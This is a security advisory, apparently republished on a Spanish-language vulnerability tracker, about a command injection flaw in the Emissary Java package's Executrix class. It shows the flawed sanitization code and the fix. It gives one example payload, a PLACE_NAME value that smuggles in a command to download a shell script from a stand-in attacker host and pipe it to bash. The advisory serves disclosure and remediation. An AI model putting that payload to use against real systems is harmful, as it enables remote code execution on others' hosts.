Emissary has a Command Injection via PLACE_NAME Configuration in Executrix
Summary
The Executrix utility class constructed shell commands by concatenating
configuration-derived values — including the PLACE_NAME parameter — with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (;, |, $, `, (, ), etc.) to pass through
into /bin/sh -c command execution.
Details
Vulnerable code — Executrix.java
Insufficient sanitization (line 132):
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through
Shell sink (line 1052–1058):
protected String[] getTimedCommand(final String c) {
return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}
Data flow
PLACE_NAMEis read from a configuration fileExecutrixapplies only a space-to-underscore replacement- The
placeNameis used to construct temporary directory paths (tmpNames[DIR]) tmpNames[DIR]is concatenated into a shell command string- The command is executed via
/bin/sh -c
Example payload
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"
After the original sanitization: test;curl_attacker.com/shell.sh|bash;x
(semicolons, pipes, and other metacharacters preserved)
Impact
- Arbitrary command execution on the Emissary host
- Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)
Remediation
Fixed in PR #1290, merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all
characters not matching [a-zA-Z0-9_-]:
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
This ensures that any shell metacharacter in the PLACE_NAME configuration
value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
Workarounds
If upgrading is not immediately possible, ensure that PLACE_NAME values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.
References
- PR #1290 — validate placename with an allowlist
- Original report: GHSA-wjqm-p579-x3ww
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Java / Kotlin (Maven) | gov.nsa.emissary:emissary | < 8.39.0 | 8.39.0 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-78- Plataforma
- Java / Kotlin (Maven)
- Paquete
gov.nsa.emissary:emissary- Publicada
- 08.04.2026
- Actualizado
- 11.10.2026 12:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-6c37-7w4p-jg9v - CC BY 4.0
Historial de vulnerabilidades: gov.nsa.emissary:emissary
Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 6
- Primera → última
- 03.2025 04.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 3
- Media 2
Divulgaciones por año
- 2025: 1
- 2026: 5
-
Emissary has a Command Injection via PLACE_NAME Configuration in Executrix esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.